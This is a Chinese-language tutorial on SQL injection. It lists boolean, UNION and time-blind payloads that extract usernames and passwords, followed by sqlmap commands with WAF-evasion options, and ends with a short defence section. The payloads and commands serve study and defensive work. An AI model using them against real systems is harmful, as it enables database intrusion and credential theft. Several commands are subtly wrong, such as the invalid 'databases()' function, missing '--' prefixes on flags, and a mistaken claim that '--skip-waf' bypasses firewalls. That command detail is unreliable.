SQL 注入漏洞原理分析与防御实践

数据表与数据操作

在确认数据库结构后，通常需要进行数据表的查询与操作。常见的操作包括插入、查询和删除数据。例如，使用 INSERT INTO 添加记录，使用 SELECT 读取记录，使用 DELETE 移除记录。这些操作在正常业务逻辑中是合法的，但在注入场景下会被攻击者滥用。

注入流程

标准的 SQL 注入渗透测试通常遵循以下流程：

1. 判断漏洞存在性：通过构造特殊字符测试页面是否报错或行为异常。
2. 判断环境信息：确定操作系统类型和数据库管理系统版本。
3. 获取数据库信息：枚举数据库名、表名、字段名。
4. 提取数据内容：获取具体的敏感数据（如用户密码）。
5. 权限提升：尝试获取更高权限（如 root）。
6. 内网渗透：利用数据库作为跳板进一步攻击内网其他主机。

手动注入详解

布尔注入 (Boolean Blind)

布尔注入的核心在于闭合 SQL 语句，构造 OR 和 AND 逻辑语句，并注释掉多余的代码。通过观察页面返回内容是否与预期一致来判断条件真假。

• admin' AND 1=1 -- ：如果页面正常显示，说明注入点存在。
• admin' OR 1=1 -- ：强制查询所有账号密码。
• admin' AND 1=2 -- ：如果页面无内容或报错，说明条件为假。

UNION 注入

UNION 注入要求前后查询的项数和顺序必须一致。这是最直接的获取数据方式。

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

步骤：

1. 确定列数：使用 'union select 1,2 -- ' 测试，逐步增加数字直到报错停止，确定列数。
2. 查找可用列：使用 'union select 1,2,3 -- ' 确定哪一列可以回显数据。
3. 查询数据库信息：利用 INFORMATION_SCHEMA 库。
   • 'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
   • 'union select version(),database() from INFORMATION_SCHEMA.tables -- '
   • 'union select user(),databases() from INFORMATION_SCHEMA.tables -- '

注意：information_schema 数据库是 MySQL 自带的，提供了访问数据库元数据的方式，包括数据库名、表名、列数据类型、访问权限等基础信息。

查询数据表与字段

在确定数据库名后，可以进一步查询具体的表结构和字段名。

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '

时间盲注 (Time Blind)

当页面没有明显回显时，可以使用时间盲注。通过执行 SLEEP() 或 BENCHMARK() 函数，观察页面响应时间的变化来判断条件真假。

• admin' AND SLEEP(5) -- ：如果页面延迟 5 秒返回，说明注入成功。

自动化工具 SQLMap

SQLMap 是目前最流行的自动化 SQL 注入工具，支持多种注入类型和绕过 WAF 的功能。

GET 方法注入

• sqlmap -u "url"：指定检测的网址。
• sqlmap -u "url" -p username --users：查看数据库用户信息。
• sqlmap -u "url" -p username -dbs：查看有多少数据库。

POST 方法注入

采用 Fiddler、Burpsuite 或 Tamper 等代理工具拦截 POST 请求内容，将请求保存到 post.txt 文件中，并使用 -r 参数调用。

• sqlmap -r post.txt --dbs
• sqlmap -r post.txt --users
• sqlmap -r post.txt --all

带 Cookie 参数注入

对于需要登录才能访问的页面，可以通过 Cookie 参数进行注入。

• sqlmap -u "url" cookie="session_id=xxx" --dbs

混淆与绕过 WAF

用于绕过或识别 Web 应用防火墙（WAF）、入侵检测系统（IDS/IPS）。

• sqlmap -u "url" --dbms=mysql --skip-waf：绕过 WAF 防火墙。
• sqlmap -u "url" --dbms=mysql --skip-waf --random-agent：使用随机 HTTP 头部。
• sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile：模拟手机请求。
• sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2：提高安全/危险等级。
• sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart：智能模式（温和）。
• sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline：减少跟对方的交互。

数据获取实战

sqlmap -r /root/Desktop/post --tables -D "数据库名"

此命令可查看当前数据库的数据表。

防御策略

为了有效防止 SQL 注入，开发者应采取以下措施：

1. 使用预编译语句（Prepared Statements）：这是最有效的防御手段。通过分离 SQL 逻辑和数据，确保用户输入不会被解释为 SQL 代码。例如在 Java 中使用 PreparedStatement，在 PHP 中使用 PDO。
2. 输入验证：对所有用户输入进行严格的白名单验证，限制输入长度、类型和格式。
3. 最小权限原则：数据库连接账户应仅拥有完成业务所需的最小权限，避免使用 root 或 sa 等高权限账户。
4. Web 应用防火墙（WAF）：部署 WAF 设备或软件，过滤恶意的 SQL 注入流量。
5. 定期更新与补丁：及时更新数据库系统和相关框架，修复已知漏洞。
6. 错误处理：生产环境中隐藏详细的数据库错误信息，防止攻击者利用报错信息进行探测。

总结

SQL 注入作为一种经典且持久的 Web 安全威胁，理解其原理和防御机制对于开发人员和安全从业者至关重要。本文详细介绍了 SQL 注入的分类、检测流程、手动利用技巧以及自动化工具的使用，并重点强调了基于预编译语句的防御方案。在实际开发中，应始终遵循安全编码规范，从源头消除安全隐患，保障系统数据安全。

注：本文内容仅供网络安全学习与研究使用，请勿用于非法用途。